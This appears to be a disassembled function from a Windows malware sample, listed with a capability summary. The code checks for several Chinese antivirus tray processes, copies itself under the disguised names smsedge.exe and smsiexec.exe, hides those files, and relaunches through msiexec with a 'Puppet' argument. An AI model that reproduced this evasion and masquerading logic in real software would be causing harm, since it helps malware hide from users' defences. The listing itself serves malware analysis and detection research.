Function at 0x1000ebf0
Capabilities:
Accept command line arguments
Copy file
Create thread
Get common file path
Get program files directory
Get system information on windows
Print debug messages
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x6cc
mov eax, dword [0x10016034]
xor eax, esp
mov dword [esp + 0x6c8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
mov esi, dword [ebp + 8]
push edi
push str.dll_run
mov dword [esp + 0x18], esi
call ebx
push str.dll_run2
call ebx
add esi, 0x4d808
mov ecx, 0x9b
lea edi, [esp + 0x40]
push str.dll_run3
rep movsd dword es:[edi], dword [esi]
call ebx
mov eax, dword [esp + 0x2a4]
test eax, eax
jne 0x1000ed11
mov ecx, str.360Tray.exe
call fcn.1000e4c0
mov ecx, str.kxetray.exe
call fcn.1000e4c0
mov ecx, str.QQPCTray.exe
call fcn.1000e4c0
mov ecx, str.HipsTray.exe
call fcn.1000e4c0
mov ecx, str.2345SafeTray.exe
call fcn.1000e4c0
lea eax, [esp + 0x5c8]
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x104
lea ecx, [esp + 0x4c4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x5c8]
push edx
push str._smsedge.exe
lea eax, [esp + 0x2b8]
push 0x104
push eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x10
push 0
lea ecx, [esp + 0x2b4]
push ecx
lea edx, [esp + 0x4c8]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x3015
lea eax, [esp + 0x2b4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 0
push 0x1000eb60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1000ed43
cmp eax, 1
jne 0x1000ed37
push 0x104
lea ecx, [esp + 0x4c4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 2
lea edx, [esp + 0x4c4]
push edx
jmp 0x1000ecf4
cmp eax, 2
jne 0x1000ed43
push 0x10012bc0
call ebx
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x103
lea ecx, [esp + 0x3bd]
mov ebx, eax
push 0
push ecx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x3c4], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [0x10016a58], 0
jne 0x1000eda9
push 4
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
test eax, eax
je 0x1000eda2
mov dword [eax], vtable.CInstall.0
jmp 0x1000eda4
xor eax, eax
mov dword [0x10016a58], eax
sub esp, 0x26c
mov ecx, 0x9b
lea esi, [esp + 0x2ac]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.10005170
mov eax, dword [esp + 0x27c]
add esp, 0x26c
cmp eax, 1
jne 0x1000ef69
cmp dword [0x10016a58], 0
mov esi, dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
jne 0x1000ee03
push 4
call esi
add esp, 4
test eax, eax
je 0x1000edfc
mov dword [eax], vtable.CInstall.0
jmp 0x1000edfe
xor eax, eax
mov dword [0x10016a58], eax
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [esp + 0x1c]
cmp ax, 9
je 0x1000ee1f
cmp ax, 6
jne 0x1000ee34
push 0x104
lea eax, [esp + 0x3bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
jmp 0x1000ee47
push 0x104
lea ecx, [esp + 0x3bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x3b8]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000ee50
mov edx, dword [str.msiexec.exe]
mov ecx, dword [0x10012bd0]
mov dword [eax], edx
mov edx, dword [0x10012bd4]
mov dword [eax + 4], ecx
mov cl, byte [0x10012bd8]
mov dword [eax + 8], edx
lea edx, [esp + 0x4c0]
push edx
push 0
push 0
push 0x26
push 0
mov byte [eax + 0xc], cl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [esp + 0x4c0]
push eax
push str._smsiexec.exe
lea ecx, [esp + 0x2b8]
push 0x104
push ecx
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x10
push 0
lea edx, [esp + 0x2b4]
push edx
lea eax, [esp + 0x3c0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x2b0]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000eed4
cmp dword [0x10016a58], 0
mov ecx, dword [str.__Puppet]
mov edx, dword [0x10012bf0]
mov dword [eax], ecx
mov cl, byte [0x10012bf4]
mov dword [eax + 4], edx
mov byte [eax + 8], cl
jne 0x1000ef19
push 4
call esi
add esp, 4
test eax, eax
je 0x1000ef12
mov dword [eax], vtable.CInstall.0
jmp 0x1000ef14
xor eax, eax
mov dword [0x10016a58], eax
call fcn.100052a0
cmp dword [0x10016a58], 0
jne 0x1000ef41
push 4
call esi
add esp, 4
test eax, eax
je 0x1000ef3a
mov dword [eax], vtable.CInstall.0
jmp 0x1000ef3c
xor eax, eax
mov dword [0x10016a58], eax
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0x2b0]
call fcn.10005410
push 0
test eax, eax
je 0x1000f120
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jle 0x1000f126
mov edx, dword [ebx + 4]
mov ebx, dword [sym.imp.MSVCR100.dll__wcsicmp]
push str._Puppet
push edx
call ebx
add esp, 8
test eax, eax
jne 0x1000efa2
sub esp, 0x26c
mov edi, esp
mov ecx, 0x9b
lea esi, [esp + 0x2ac]
rep movsd dword es:[edi], dword [esi]
call fcn.1000e1c0
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 4]
push str._Puppet
push ecx
call ebx
add esp, 8
test eax, eax
je 0x1000f126
cmp dword [0x10016a58], 0
jne 0x1000efe3
push 4
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
test eax, eax
je 0x1000efdc
mov dword [eax], vtable.CInstall.0
jmp 0x1000efde
xor eax, eax
mov dword [0x10016a58], eax
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [esp + 0x1c]
cmp ax, 9
je 0x1000efff
cmp ax, 6
jne 0x1000f014
push 0x104
lea eax, [esp + 0x3bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
jmp 0x1000f027
push 0x104
lea ecx, [esp + 0x3bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x3b8]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000f030
mov edx, dword [str.msiexec.exe]
mov ecx, dword [0x10012bd0]
mov dword [eax], edx
mov edx, dword [0x10012bd4]
mov dword [eax + 4], ecx
mov cl, byte [0x10012bd8]
mov dword [eax + 8], edx
lea edx, [esp + 0x4c0]
push edx
push 0
push 0
push 0x26
push 0
mov byte [eax + 0xc], cl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [esp + 0x4c0]
push eax
push str._smsiexec.exe
lea ecx, [esp + 0x2b8]
push 0x104
push ecx
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x10
push 0
lea edx, [esp + 0x2b4]
push edx
lea eax, [esp + 0x3c0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x2b0]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000f0b4
cmp dword [0x10016a58], 0
mov ecx, dword [str.__Puppet]
mov edx, dword [0x10012bf0]
mov dword [eax], ecx
mov cl, byte [0x10012bf4]
mov dword [eax + 4], edx
mov byte [eax + 8], cl
jne 0x1000f110
push 4
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
test eax, eax
je 0x1000f109
mov edi, dword [esp + 0x14]
mov dword [eax], vtable.CInstall.0
mov dword [0x10016a58], eax
lea ecx, [esp + 0x2b0]
jmp 0x1000ef4c
xor eax, eax
mov dword [0x10016a58], eax
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0x2b0]
jmp 0x1000ef4c
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x6d4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.1001015c
mov esp, ebp
pop ebp
ret